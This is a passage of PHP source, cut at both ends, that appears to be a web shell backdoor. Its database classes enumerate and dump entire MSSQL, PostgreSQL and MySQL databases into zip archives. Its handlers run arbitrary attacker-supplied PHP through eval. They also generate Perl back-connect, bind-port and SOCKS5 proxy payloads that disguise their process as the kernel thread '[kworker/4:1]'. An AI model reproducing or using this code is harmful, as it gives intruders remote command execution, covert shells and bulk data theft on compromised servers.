mssql_close($this->_cnct); } } class SQLSrvClient extends MSSQLBase { function connect($h, $u, $p, $b, $c) { $this->_base = $b; $a = array(); if ($u !== NULL) $a['UID'] = $u; if ($p !== NULL) $a['PWD'] = $p; if ($b !== NULL) $a['Database'] = $b; return ($this->_cnct = sqlsrv_connect($h, $a)); } function getError() { $v = sqlsrv_errors(); if ($this->_cnct) sqlsrv_close($this->_cnct); return $v ? $v[0]['message'] : ''; } function tryQueries($a) { foreach ($a as $v) if ($this->_res = sqlsrv_query($this->_cnct, $v)) return TRUE; return FALSE; } function fetchBase() { return (($v = sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC)) || (sqlsrv_next_result($this->_res) && ($v = sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC)))) ? $v[0] : FALSE; } function fetchSchema() { return ($v = sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC)) ? $v[1] : FALSE; } function fetchTable() { if (($v = sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC)) || (sqlsrv_next_result($this->_res) && ($v = sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC)))) return count($v) === 1 ? $v[0] : $v[2]; return FALSE; } function getTableSize($b, $s, $t) { return (($v = sqlsrv_query($this->_cnct, 'SELECT COUNT(*) FROM ' . mssqlEscName($b, $s, $t))) && ($v = sqlsrv_fetch_array($v, SQLSRV_FETCH_NUMERIC))) ? $v[0] : '"?"'; } function getColumns($b, $s, $t) { if ($a = parent::getColumns($b, $s, $t)) return $a; $a = array(); if ($q = sqlsrv_query($this->_cnct, 'SELECT TOP 1 * FROM ' . mssqlEscName($b, $s, $t))) { if ($v = sqlsrv_field_metadata($q)) { $y = array( 1 => 'CHAR', 2 => 'NUMERIC', 3 => 'DECIMAL', 4 => 'INT', 5 => 'SMALLINT', 6 => 'FLOAT', 7 => 'REAL', 12 => 'VARCHAR', 91 => 'DATE', 93 => 'DATETIME', -1 => 'TEXT', -2 => 'BINARY', -3 => 'VARBINARY', -4 => 'IMAGE', -5 => 'BIGINT', -6 => 'TINYINT', -7 => 'BIT', -8 => 'NCHAR', -9 => 'NVARCHAR', -10 => 'NTEXT', -11 => 'UNIQUEIDENTIFIER', -151 => 'UDT', -152 => 'XML', -154 => 'TIME', -155 => 'DATETIMEOFFSET' ); foreach ($v as $i) { $i['Type'] = isset($y['Type']) ? $y['Type'] : 'BINARY'; if ($i['Nullable'] === SQLSRV_NULLABLE_NO) $i['Type'] .= ' NOT NULL'; $a[$i['Name']] = $i['Type']; } return $a; } if ($v = sqlsrv_fetch_array($q, SQLSRV_FETCH_ASSOC)) { foreach ($v as $k => $i) $a[$k] = ''; return $a; } } return FALSE; } function select($b, $s, $t, $c, $o, $l) { return (($this->_res = sqlsrv_query($this->_cnct, 'SELECT TOP ' . ($o + $l) . ' ' . sqlJoinColumns($c, 'mssqlEscName') . ' FROM ' . mssqlEscName($b, $s, $t), array(), array( 'Scrollable' => SQLSRV_CURSOR_DYNAMIC ))) && sqlsrv_fetch($this->_res, SQLSRV_SCROLL_ABSOLUTE, $o)); } function fetchAssoc() { return sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_ASSOC); } function fetchRow() { return sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC); } function nextResult() { return sqlsrv_next_result($this->_res); } function query($v) { return ($this->_res = sqlsrv_query($this->_cnct, $v)); } function setBase($v) { if ($v !== $this->_base) { $this->_base = NULL; if (!sqlsrv_query($this->_cnct, 'USE ' . mssqlEscName($b))) return FALSE; $this->_base = $v; } return TRUE; } function dump($b, $s, $t, $c, $f) { if (!$this->setBase($b)) return sprintf(E_CHNGDB, $b, $s, $t); $i = ''; if ($f) { if ($v = $this->getColumns($b, $s, $t)) sqlOutCreate($t, $v, 'BINARY', 'mssqlEscName'); else $i = sprintf(E_CNSTCS, $b . '.' . $s . '.' . $t); } $c = sqlJoinColumns($c, 'mssqlEscName'); if (($q = sqlsrv_query($this->_cnct, 'SELECT ' . $c . ' FROM ' . mssqlEscName($b, $s, $t))) && ($v = sqlsrv_fetch_array($q, SQLSRV_FETCH_ASSOC))) { if ($f) sqlOutInsert(mssqlEscName($t), $c); else echo implode(';', array_keys($v)), "\n"; $d = FALSE; do { if ($d) echo $d; else $d = $f ? ',' : "\n"; if ($f) sqlOutValues($v, 'mssqlEscData'); else csvOutValues($v); } while ($v = sqlsrv_fetch_array($q, SQLSRV_FETCH_NUMERIC)); if ($f) echo ";\n"; sqlsrv_free_stmt($q); } else $i .= sprintf(E_SLCTDT, $b . '.' . $s . '.' . $t); return $i; } function close() { sqlsrv_close($this->_cnct); } } function pgsqlEscData($v) { return "'" . str_replace(array( '\\', "'" ), array( '\\\\', "''" ), $v) . "'"; } function pgsqlEscName() { $a = func_get_args(); foreach ($a as $k => $v) $a[$k] = '"' . str_replace('"', '""', $v) . '"'; return implode('.', $a); } class PGSQLBase extends SQLBase { var $haveSchemas = TRUE, $canPaginate = FALSE, $_params = '', $_base = NULL, $_clcs = NULL; function fillParams($h, $u, $p) { $v = array(); if ($h !== NULL) { if ($i = strrpos($h, ':')) { $v[] = 'host=' . $this->escParam(substr($h, 0, $i)); $v[] = 'port=' . substr($h, $i + 1); } else $v[] = 'host=' . $this->escParam($h); } if ($u !== NULL) $v[] = 'user=' . $this->escParam($u); if ($p !== NULL) $v[] = 'password=' . $this->escParam($p); $this->_params = implode(' ', $v); } function charset($k) { $v = array( 'UTF8', 'UTF8', 'WIN1250', 'WIN1251', 'WIN1252', 'WIN1254', 'WIN1256', 'WIN1257', 'LATIN1', 'LATIN2', 'ISO_8859_7', 'ISO_8859_8', 'LATIN5', 'LATIN7', 'BIG5', 'GBK', 'SJIS', 'EUC_KR', 'EUC_JP', 'WIN866', 'KOI8R', 'KOI8U' ); return isset($v[$k]) ? $v[$k] : 'utf8'; } function escParam($v) { return "'" . addcslashes($v, "'\\") . "'"; } function getBases() { return $this->tryQueries(array( 'SELECT datname FROM pg_catalog.pg_database WHERE NOT datistemplate', 'SELECT datname FROM pg_catalog.pg_stat_database', 'SELECT datname FROM pg_catalog.pg_stat_database_conflicts', 'SELECT current_database()' )); } function getSchemas($b) { if (!$this->setBase($b)) return FALSE; return $this->tryQueries(array( 'SELECT schema_name FROM information_schema.schemata', 'SELECT nspname FROM pg_catalog.pg_namespace', 'SELECT DISTINCT table_schema FROM information_schema.tables', 'SELECT DISTINCT schemaname FROM pg_catalog.pg_tables', 'SELECT DISTINCT schemaname FROM pg_catalog.pg_stat_xact_all_tables', 'SELECT DISTINCT schemaname FROM pg_catalog.pg_statio_all_tables', 'SELECT DISTINCT schemaname FROM pg_catalog.pg_stat_user_tables UNION SELECT DISTINCT schemaname FROM pg_catalog.pg_stat_sys_tables', 'SELECT DISTINCT schemaname FROM pg_catalog.pg_stat_xact_user_tables UNION SELECT DISTINCT schemaname FROM pg_catalog.pg_stat_xact_sys_tables', 'SELECT DISTINCT schemaname FROM pg_catalog.pg_statio_user_tables UNION SELECT DISTINCT schemaname FROM pg_catalog.pg_statio_sys_tables', 'SELECT DISTINCT table_schema FROM information_schema.columns', 'SELECT DISTINCT schemaname FROM pg_catalog.pg_stats' )); } function getTables($b, $s) { if (!$this->setBase($b)) return FALSE; $s = pgsqlEscData($s); return $this->tryQueries(array( 'SELECT table_name FROM information_schema.tables WHERE table_schema=' . $s, 'SELECT relname FROM pg_catalog.pg_stat_all_tables WHERE schemaname=' . $s, 'SELECT relname FROM pg_catalog.pg_statio_all_tables WHERE schemaname=' . $s, 'SELECT relname FROM pg_catalog.pg_stat_xact_all_tables WHERE schemaname=' . $s, 'SELECT tablename FROM pg_catalog.pg_tables WHERE schemaname=' . $s, 'SELECT relname FROM pg_catalog.pg_stat_sys_tables WHERE schemaname=' . $s, 'SELECT relname FROM pg_catalog.pg_stat_user_tables WHERE schemaname=' . $s, 'SELECT relname FROM pg_catalog.pg_statio_sys_tables WHERE schemaname=' . $s, 'SELECT relname FROM pg_catalog.pg_statio_user_tables WHERE schemaname=' . $s, 'SELECT relname FROM pg_catalog.pg_stat_xact_sys_tables WHERE schemaname=' . $s, 'SELECT relname FROM pg_catalog.pg_stat_xact_user_tables WHERE schemaname=' . $s )); } function getColumns($b, $s, $t) { $a = array(); if ($this->tryQueries(array( 'SELECT column_name,udt_name,is_nullable,column_default FROM information_schema.columns WHERE table_name=' . pgsqlEscData($t) . ' AND table_schema=' . pgsqlEscData($s), 'SELECT a.attname, FORMAT_TYPE(a.atttypid,a.atttypmod), a.attnotnull, d.adsrc FROM pg_attribute a LEFT JOIN pg_attrdef d ON d.adrelid=a.attrelid AND d.adnum=a.attnum WHERE attrelid = ' . pgsqlEscData(pgsqlEscName($s, $t)) . '::regclass AND attnum>0 AND NOT attisdropped' ))) { while ($v = $this->fetchRow()) { $v[1] = strtoupper($v[1]); if ($v[2][0] === 'N' || $v[2][0] === 'f') $v[1] .= ' NOT NULL'; if ($v[3] !== NULL) $v[1] .= ' DEFAULT ' . pgsqlEscData($v[3]); $a[$v[0]] = $v[1]; } return $a; } return FALSE; } function select($b, $s, $t, $c, $o, $l) { return $this->query('SELECT ' . sqlJoinColumns($c, 'pgsqlEscName') . ' FROM ' . pgsqlEscName($s, $t) . ' LIMIT ' . $l); } } class PGSQLClient extends PGSQLBase { function connect($h, $u, $p, $b, $c) { $this->_base = $b; $this->_clcs = $c; $this->fillParams($h, $u, $p); $v = $this->_params; if ($b !== NULL) $v .= ' dbname=' . $this->escParam($b); $this->_cnct = pg_connect($v); if (!$this->_cnct && $b === NULL) $this->_cnct = pg_connect($this->_params . ' dbname=template1'); if (!$this->_cnct) return FALSE; pg_exec($this->_cnct, "SET CLIENT_ENCODING TO '" . $this->charset($c) . "'"); return TRUE; } function getError() { if ($this->_cnct) { $v = (PHP_VERSION >= '4.2') ? pg_last_error($this->_cnct) : pg_errormessage($this->_cnct); pg_close($this->_cnct); return $v; } return ''; } function tryQueries($a) { foreach ($a as $v) if ($this->_res = pg_exec($this->_cnct, $v)) return TRUE; return FALSE; } function fetchBase() { return ($v = pg_fetch_row($this->_res)) ? $v[0] : FALSE; } function setBase($v) { if ($v !== $this->_base) { $this->_base = NULL; pg_close($this->_cnct); if (!($this->_cnct = pg_connect($this->_params . ' dbname=' . $this->escParam($v)))) return FALSE; $this->_base = $v; pg_exec($this->_cnct, "SET CLIENT_ENCODING TO '" . $this->charset($this->_clcs) . "'"); } return TRUE; } function fetchSchema() { return ($v = pg_fetch_row($this->_res)) ? $v[0] : FALSE; } function fetchTable() { return ($v = pg_fetch_row($this->_res)) ? $v[0] : FALSE; } function getTableSize($b, $s, $t) { if (($v = pg_exec($this->_cnct, 'SELECT COUNT(*) FROM ' . pgsqlEscName($s, $t)))) { $v = pg_fetch_row($v); return $v[0]; } return '"?"'; } function getColumns($b, $s, $t) { $a = parent::getColumns($b, $s, $t); if ($a) return $a; $a = array(); if (PHP_VERSION >= '4.3' && ($v = pg_meta_data($this->_cnct, $s . '.' . $t))) { foreach ($v as $k => $i) { $a[$k] = strtoupper($i['type']); if ($i['not null']) $a[$k] .= ' NOT NULL'; } return $a; } if (PHP_VERSION >= '4.2' && ($q = pg_exec($this->_cnct, 'SELECT * FROM ' . pgsqlEscName($s, $t) . ' LIMIT 0'))) { $i = 0; while (($v = pg_field_name($q, $i)) !== FALSE) $a[$k] = pg_field_type($q, $i++); return $a; } if (($v = pg_exec($this->_cnct, 'SELECT * FROM ' . pgsqlEscName($s, $t) . ' LIMIT 1')) && ($v = pg_fetch_array($this->_res, NULL, PGSQL_ASSOC))) { foreach ($v as $k) $a[$k] = ''; return $a; } return FALSE; } function query($v) { return ($this->_res = pg_exec($this->_cnct, $v)); } function fetchAssoc() { return pg_fetch_array($this->_res, NULL, PGSQL_ASSOC); } function fetchRow() { return pg_fetch_row($this->_res); } function dump($b, $s, $t, $c, $f) { if (!$this->setBase($b)) return sprintf(E_CHNGDB, $b, $s, $t); $i = ''; if ($f) { if ($v = $this->getColumns($b, $s, $t)) sqlOutCreate($t, $v, 'BINARY', 'pgsqlEscName'); else $i = sprintf(E_CNSTCS, $b . '.' . $s . '.' . $t); } $c = sqlJoinColumns($c, 'pgsqlEscName'); if (pg_exec($this->_cnct, 'BEGIN; DECLARE c CURSOR FOR SELECT ' . $c . ' FROM ' . pgsqlEscName($s, $t))) { if (($v = pg_exec($this->_cnct, 'FETCH NEXT FROM c')) && ($v = pg_fetch_array($v, NULL, PGSQL_ASSOC))) { if ($f) sqlOutInsert(pgsqlEscName($t), $c); else echo implode(';', array_keys($v)), "\n"; $c = $this->_cnct; $d = FALSE; do { if ($d) echo $d; else $d = $f ? ',' : "\n"; if ($f) sqlOutValues($v, 'pgsqlEscData'); else csvOutValues($v); } while (($v = pg_exec($c, 'FETCH NEXT FROM c')) && ($v = pg_fetch_row($v))); if ($f) echo ";\n"; } pg_exec('CLOSE c; ROLLBACK'); } else $i .= sprintf(E_SLCTDT, $b . '.' . $t); return $i; } function close() { pg_close($this->_cnct); } } if (PHP_VERSION >= '5'): class MySQLPDOClient extends MySQLBase { function connect($h, $u, $p, $b, $c) { $a = array(); if ($h !== NULL && ($v = strrpos($h, ':'))) { $t = (int) substr($h, $v + 1); $h = substr($h, 0, $v); } else $t = NULL; if ($h !== NULL) $a[] = 'host=' . $h; if ($t !== NULL) $a[] = 'port=' . $t; if ($b !== NULL) $a[] = 'dbname=' . $b; try { $v = new PDO('mysql:' . implode(';', $a), $u, $p); } catch (Exception $e) { $this->connError($e->getMessage(), $h, $u, $p, $b); } $v->query('SET NAMES ' . $this->charset($c)); $this->_cnct = $v; return TRUE; } function getTableSize($b, $t) { return $this->sqlTableSize(mysqlEscName($b, $t)); } function getColumns($b, $t) { if ($a = parent::getColumns($b, $t)) return $a; return $this->getColumnsNames(mysqlEscName($b, $t)); } /*FIX*/ function fetchRow() { $r = $this->_res->fetch(PDO::FETCH_NUM); if(defined('MPDFIX') && is_int(MPDFIX)) $this->_res->closeCursor(); return $r; } function dump($b, $t, $c, $f) { define('MPDFIX', 1); if ($f) $i = $this->outCreateTable($b, $t); $c = sqlJoinColumns($c, 'mysqlEscName'); $this->_cnct->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, FALSE); if (($q = $this->_cnct->query('SELECT ' . $c . ' FROM ' . mysqlEscName($b, $t))) && ($v = $q->fetch(PDO::FETCH_ASSOC))) { if ($f) sqlOutInsert(mysqlEscName($t), $c); else echo implode(';', array_keys($v)), "\n"; $d = FALSE; do { if ($d) echo $d; else $d = $f ? ',' : "\n"; if ($f) sqlOutValues($v, 'mysqlEscData'); else csvOutValues($v); } while ($v = $q->fetch(PDO::FETCH_NUM)); if ($f) echo ";\n"; } else $i .= sprintf(E_SLCTDT, $b . '.' . $t . ' '. print_r($this->_cnct->errorInfo(), true)); return $i; } } class MSSQLPDOClient extends MSSQLBase { var $canPaginate = FALSE; function connect($d, $u, $p, $b, $c) { try { $v = new PDO($d, $u, $p); } catch (Exception $e) { $this->connError($e->getMessage(), $d, $u, $p, $b); } $this->_cnct = $v; $this->_base = $b; return TRUE; } function getTableSize($b, $s, $t) { return $this->sqlTableSize(mssqlEscName($b, $s, $t)); } function setBase($v) { if ($v !== $this->_base) { $this->_base = NULL; if (!$this->_cnct->query('USE ' . mssqlEscName($v))) return FALSE; $this->_base = $v; } return TRUE; } function getColumns($b, $s, $t) { if ($a = parent::getColumns($b, $s, $t)) return $a; return $this->getColumnsNames(mssqlEscName($b, $s, $t)); } function select($b, $s, $t, $c, $o, $l) { return $this->query('SELECT TOP ' . $l . ' ' . sqlJoinColumns($c, 'mssqlEscName') . ' FROM ' . mssqlEscName($s, $t)); } function dump($b, $s, $t, $c, $f) { if (!$this->setBase($b)) return sprintf(E_CHNGDB, $b, $s, $t); $i = ''; if ($f) { if ($v = $this->getColumns($b, $s, $t)) sqlOutCreate($t, $v, 'BINARY', 'mssqlEscName'); else $i = sprintf(E_CNSTCS, $b . '.' . $s . '.' . $t); } $c = sqlJoinColumns($c, 'mssqlEscName'); if (($q = $this->_cnct->query('SELECT ' . $c . ' FROM ' . mssqlEscName($s, $t))) && ($v = $q->fetch(PDO::FETCH_ASSOC))) { if ($f) sqlOutInsert(mssqlEscName($t), $c); else echo implode(';', array_keys($v)), "\n"; $d = FALSE; do { if ($d) echo $d; else $d = $f ? ',' : "\n"; if ($f) sqlOutValues($v, 'mssqlEscData'); else csvOutValues($v); } while ($v = $q->fetch(PDO::FETCH_NUM)); if ($f) echo ";\n"; } else $i .= sprintf(E_SLCTDT, $b . '.' . $s . '.' . $t); return $i; } function fetchBase() { if (($v = $this->_res->fetch(PDO::FETCH_NUM)) || ($this->_res->nextRowset() && ($v = $this->_res->fetch(PDO::FETCH_NUM)))) return $v[0]; return FALSE; } function fetchSchema() { return $this->_res->fetchColumn(1); } function fetchTable() { if (($v = $this->_res->fetch(PDO::FETCH_NUM)) || ($this->_res->nextRowset() && ($v = $this->_res->fetch(PDO::FETCH_NUM)))) return count($v) === 1 ? $v[0] : $v[2]; return FALSE; } function nextResult() { return $this->_res->nextRowset(); } } class MSSQLDBLIBClient extends MSSQLPDOClient { function connect($h, $u, $p, $b, $c) { $a = array(); if ($h !== NULL) $a[] = 'host=' . $h; if ($b !== NULL) $a[] = 'dbname=' . $b; return parent::connect('mssql:' . implode(';', $a), $h, $u, $p, $b, $c); } } class MSSQLODBCClient extends MSSQLPDOClient { function connect($h, $u, $p, $b, $c) { $a = array(); if ($h !== NULL) $a[] = 'Server=' . $h; if ($b !== NULL) $a[] = 'Database=' . $b; return parent::connect('odbc:' . implode(';', $a), $h, $u, $p, $b, $c); } } class SQLSrvPDOClient extends MSSQLPDOClient { function connect($h, $u, $p, $b, $c) { $a = array(); if ($h !== NULL) $a[] = 'Server=' . $h; if ($b !== NULL) $a[] = 'Database=' . $b; return parent::connect('sqlsrv:' . implode(';', $a), $u, $p, $b, $c); } } class PGSQLPDOClient extends PGSQLBase { function connect($h, $u, $p, $b, $c) { $this->_base = $b; $this->_clcs = $c; $this->fillParams($h, $u, $p); $this->_params = 'pgsql:' . $this->_params; $v = $this->_params; if ($b !== NULL) $v .= ' dbname=' . $this->escParam($b); try { $v = new PDO($v); } catch (Exception $e) { $this->connError($e->getMessage(), $h, $u, $p, $b); } $v->query("SET CLIENT_ENCODING TO '" . $this->charset($c) . "'"); $this->_cnct = $v; return TRUE; } function setBase($v) { if ($v !== $this->_base) { $this->_res = NULL; $this->_cnct = NULL; $this->_base = NULL; try { $v = new PDO($this->_params . ' base=' . $this->escParam($v)); } catch (Exception $e) { return FALSE; } $this->_base = $v; $v->query("SET CLIENT_ENCODING TO '" . $this->charset($this->_clcs) . "'"); $this->_cnct = $v; } return TRUE; } function getTableSize($b, $s, $t) { return $this->sqlTableSize(pgsqlEscName($s, $t)); } function getColumns($b, $s, $t) { if ($a = parent::getColumns($b, $s, $t)) return $a; return $this->getColumnsNames(pgsqlEscName($s, $t)); } function dump($b, $s, $t, $c, $f) { if (!$this->setBase($b)) return sprintf(E_CHNGDB, $b, $s, $t); $i = ''; if ($f) { if ($v = $this->getColumns($b, $s, $t)) sqlOutCreate($t, $v, 'BINARY', 'pgsqlEscName'); else $i = sprintf(E_CNSTCS, $b . '.' . $s . '.' . $t); } $c = sqlJoinColumns($c, 'pgsqlEscName'); if ($this->_cnct->query('BEGIN; DECLARE c CURSOR FOR SELECT ' . $c . ' FROM ' . pgsqlEscName($s, $t))) { if (($v = $this->_cnct->query('FETCH NEXT FROM c')) && ($v = $v->fetch(PDO::FETCH_ASSOC))) { if ($f) sqlOutInsert(pgsqlEscName($t), $c); else echo implode(';', array_keys($v)), "\n"; $c = $this->_cnct; $d = FALSE; do { if ($d) echo $d; else $d = $f ? ',' : "\n"; if ($f) sqlOutValues($v, 'pgsqlEscData'); else csvOutValues($v); } while (($v = $c->query('FETCH NEXT FROM c')) && ($v = $v->fetch(PDO::FETCH_NUM))); if ($f) echo ";\n"; } $this->_cnct->query('CLOSE c; ROLLBACK'); } else $i .= sprintf(E_SLCTDT, $b . '.' . $s . '.' . $t); return $i; } function fetchSchema() { return $this->_res->fetchColumn(0); } } endif; function outData(&$S) { echo ',"f":['; if ($v = $S->fetchAssoc()) { $b = FALSE; foreach ($v as $k => $i) { if ($b) echo ','; else $b = TRUE; jsonEcho($k); } echo '],"r":['; $b = FALSE; do { if ($b) echo ','; else $b = TRUE; echo '['; $k = FALSE; foreach ($v as $i) { if ($k) echo ','; else $k = TRUE; jsonEcho($i); } echo ']'; } while ($v = $S->fetchRow()); } echo ']'; } $S = $D['e'] . 'Client'; $S = new $S(); if (!$S->connect($D['h'], $D['u'], $D['p'], $D['b'], $D['l'])) $S->connError($S->getError(), $D['h'], $D['u'], $D['p'], $D['b']); if (isset($D['d'])) { $Z = new PZIP(); $Z->init(); $a = array(); $m = packTime(time()); foreach ($D['d'] as $k => $v) { if (isset($D['s'][$k])) foreach ($D['s'][$k] as $i => $s) { if (isset($D['t'][$k . '-' . $i])) foreach ($D['t'][$k . '-' . $i] as $n => $t) $a[$v][$s][$t] = isset($D['f'][$k . '-' . $i . '-' . $n]) ? $D['f'][$k . '-' . $i . '-' . $n] : FALSE; elseif ($S->getTables($v, $s)) while (($t = $S->fetchTable()) !== FALSE) $a[$v][$s][$t] = FALSE; } elseif (isset($D['t'][$k])) foreach ($D['t'][$k] as $i => $s) $a[$v][$s] = isset($D['f'][$k . '-' . $i]) ? $D['f'][$k . '-' . $i] : FALSE; elseif ($S->haveSchemas) { $k = array(); if ($S->getSchemas($v)) while (($i = $S->fetchSchema()) !== FALSE) $k[] = $i; foreach ($k as $s) if ($S->getTables($v, $s)) while (($t = $S->fetchTable()) !== FALSE) $a[$v][$s][$t] = FALSE; } elseif ($S->getTables($v)) while (($t = $S->fetchTable()) !== FALSE) $a[$v][$t] = FALSE; } $e = array(); $o = $D['o'] === '0'; $x = $o ? '.sql' : '.csv'; if ($S->haveSchemas) foreach ($a as $d => $v) foreach ($v as $s => $k) foreach ($k as $t => $c) { $f = escFileName($d . '.' . $s . '.' . $t) . $x; $Z->fileHeader($f, $m); if ($o) printf(T_DMPHDR, gmdate('Y-m-d H:i:s')); if ($i = $S->dump($d, $s, $t, $c, $o)) $e[] = $i; if ($o) printf(T_DMPFTR, gmdate('Y-m-d H:i:s')); $Z->fileFooter($f, $m); } else foreach ($a as $d => $v) foreach ($v as $t => $c) { $f = escFileName($d . '.' . $t) . $x; $Z->fileHeader($f, $m); if ($o) printf(T_DMPHDR, gmdate('Y-m-d H:i:s')); if ($i = $S->dump($d, $t, $c, $o)) $e[] = $i; if ($o) printf(T_DMPFTR, gmdate('Y-m-d H:i:s')); $Z->fileFooter($f, $m); } if ($e) { $n = 'ERRORS.txt'; $t = packTime(time()); $Z->fileHeader($n, $t); foreach ($e as $v) echo $v; $Z->fileFooter($n, $t); } $Z->close(); } if (isset($D['q'])) { if ($S->query($D['q'])) { echo '{"q":'; jsonEcho($D['q']); outData($S); $S->close(); sDie('}'); } echo '{"e":'; jsonEcho($D['q'] . "\n" . $S->getError()); sDie('}'); } if (isset($D['f'])) { $b = isset($D['s']); if ($b ? $S->select($D['b'], $D['s'], $D['t'], $D['f'], $D['o'], $D['r']) : $S->select($D['b'], $D['t'], $D['f'], $D['o'], $D['r'])) { echo '{'; if ($S->canPaginate) echo '"o":', $D['o'], ','; echo '"b":'; jsonEcho($D['b']); if ($b) { echo ',"s":'; jsonEcho($D['s']); } echo ',"t":'; jsonEcho($D['t']); outData($S); $S->close(); sDie('}'); } echo '{"e":'; jsonEcho("Can't load data from table " . $D['b'] . '.' . ($b ? $D['s'] . '.' : '') . $D['t'] . ' (' . $S->getError() . ')'); sDie('}'); } if (isset($D['t'])) { $b = isset($D['s']); if ($v = ($b ? $S->getColumns($D['b'], $D['s'], $D['t']) : $S->getColumns($D['b'], $D['t']))) { $S->close(); echo '{"b":'; jsonEcho($D['b']); if ($b) { echo ',"s":'; jsonEcho($D['s']); } echo ',"t":'; jsonEcho($D['t']); echo ',"f":['; $i = FALSE; $a = array(); foreach ($v as $k => $t) { if ($i) echo ','; else $i = TRUE; echo '['; jsonEcho($k); if (!isset($a[$t])) $a[$t] = count($a); echo ',', $a[$t], ']'; } echo '],"y":['; $i = FALSE; foreach ($a as $k => $v) { if ($i) echo ','; else $i = TRUE; jsonEcho($k); } sDie(']}'); } $S->close(); echo '{"e":'; jsonEcho("Can't list columns for table " . $D['b'] . '.' . ($b ? $D['s'] . '.' : '') . $D['t']); sDie('}'); } if (isset($D['b'])) { $b = isset($D['s']); if ($b || !$S->haveSchemas) { if ($b ? $S->getTables($D['b'], $D['s']) : $S->getTables($D['b'])) { echo '{"b":'; jsonEcho($D['b']); if ($b) { echo ',"s":'; jsonEcho($D['s']); } echo ',"t":['; $i = FALSE; while (FALSE !== ($v = $S->fetchTable())) { if ($i) echo ','; else $i = TRUE; echo '['; jsonEcho($v); if (isset($D['r'])) echo ',', $b ? $S->getTableSize($D['b'], $D['s'], $v) : $S->getTableSize($D['b'], $v); echo ']'; } $S->close(); sDie(']}'); } $S->close(); echo '{"e":'; jsonEcho("Can't list tables for " . $D['b'] . ($b ? '.' . $D['s'] : '')); sDie('}'); } if ($S->getSchemas($D['b'])) { echo '{"b":'; jsonEcho($D['b']); echo ',"s":['; $b = FALSE; while (FALSE !== ($v = $S->fetchSchema())) { if ($b) echo ','; else $b = TRUE; jsonEcho($v); } $S->close(); sDie(']}'); } $S->close(); echo '{"e":'; jsonEcho("Can't list schemas for database " . $D['b']); sDie('}'); } if ($S->getBases()) { echo '['; $b = FALSE; while (FALSE !== ($v = $S->fetchBase())) { if ($b) echo ','; else $b = TRUE; jsonEcho($v); } $S->close(); sDie(']'); } $S->close(); sDie('{"e":"Can\'t list databases"}'); break; case 'p': function sdf() { if (defined('PTF')) delFile(PTF); sDie("\x03\x1E" . (defined('PES') ? "\x06" : "\x15") . "\x17\x04\x10"); } register_shutdown_function('sdf'); echo "\x01\x02"; $D['e'] = 'define("PES",1);' . $D['e']; if (!isset($D['h'])) $D['e'] = '@error_reporting(E_ALL);@ini_set("error_reporting",E_ALL);@ini_set("display_errors",TRUE);' . $D['e']; eval($D['e']); if (defined('PES')) die; if ($v = tempFile('= '5' && PHP_VERSION <= '5.0.4') { php_check_syntax($v); if (defined('PES')) die; } } if (PHP_VERSION_ID < 80000 && $v = @create_function('&$args', $D['e'])) $v($args); if (defined('PES')) die; sDie(); break; case 't': function getCmdOpt($c, $n, $d) { if ($v = strpos($c, ' -' . $n)) return ltrim(substr($c, $v + 3, strcspn($c, ' ', $v + 4) + 1)); return $d; } echo "\x01\x02"; $D['e'] = isset($D['e']) ? trim($D['e']) : ''; $D['s'] = isset($D['j'][1]) ? trim($D['j'][1]) : ''; $k = strtok($D['e'], ' '); if (in_array($k, array( 'backconnect.perl', 'bindport.perl', 'socks5.perl' ))) { $p = '$0="' . getCmdOpt($D['e'], 'n', '[kworker/4:1]') . '\0";use IO::Socket;$SIG{"CHLD"}="IGNORE";$f="[Fail]";$w="[Warn]";socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")) or die"$f Create socket: $!";'; if ($k === 'backconnect.perl') $p .= '$a=inet_aton("' . strtok(' ') . '") or die"$f Convert host address: $!";$s=sockaddr_in(' . strtok(' ') . ',$a) or die"$f Packed address: $!";connect(S,$s) or die"$f Connect: $!";$r="S";'; else $p .= 'setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1) or print"$w Set socket options: $!\n";$s=sockaddr_in(' . strtok(' ') . ',inet_aton("' . getCmdOpt($D['e'], 'a', '0.0.0.0') . '")) or die"$f Packed address: $!";bind(S,$s) or die"$f Bind socket: $!";'; if ($k === 'bindport.perl') $p .= 'listen(S,1) or die"$f Listen socket: $!";accept(C,S) or die"$f Accept connection: $!";$r="C";'; if ($k === 'socks5.perl') { $v = getCmdOpt($D['e'], 's', ''); if ($v) $v = explode(':', $v); $p .= 'use threads;listen(S,SOMAXCONN) or die"$f Listen socket: $!";print"[Succ] Server successfully launched!\n";close(STDIN);close(STDOUT);close(STDERR);sub prcss{$C = $_[0];sysread($C,$b,1);if($b ne "\x05"){shutdown($C,2);close($C);return;}sysread($C,$b,1);sysread($C,$b,ord($b));if(index($b,"\x0' . ($v ? '2' : '0') . '")==-1){syswrite($C,"\x05\xFF");shutdown($C,0);close($C);return;}syswrite($C,"\x05\x0' . ($v ? '2' : '0') . '");'; if ($v) $p .= 'sysread($C,$b,1);sysread($C,$l,1);sysread($C,$u,ord($l));sysread($C,$l,1);sysread($C,$p,ord($l));if(($b ne "\x01") || ($u ne "' . $v[0] . '") || ($p ne "' . $v[1] . '")){syswrite($C,"\x01\xFF");shutdown($C,0);close($C);return;}syswrite($C,"\x01\x00");'; $p .= 'sysread($C,$b,1);if($b ne "\x05"){shutdown($C,2);close($C);return;}sysread($C,$c,1);sysread($C,$b,1);if($b ne "\x00"){shutdown($C,2);close($C);return;}sysread($C,$t,1);if($t eq "\x01"){sysread($C,$a,4);$d=$a;}elsif($t eq "\x03"){sysread($C,$a,1);sysread($C,$b,unpack("c",$a));$a.=$b;$d=inet_aton($b);}elsif($t eq "\x04"){sysread($C,$a,16);$d=$a;}else{shutdown($C,2);close($C);return;}sysread($C,$b,2);$a.=$b;if($c ne "\x01"){syswrite($C, "\x05\x07\x00".$t.$a);shutdown($C,0);close($C);return;}if(!socket(D,PF_INET,SOCK_STREAM,getprotobyname("tcp")) or 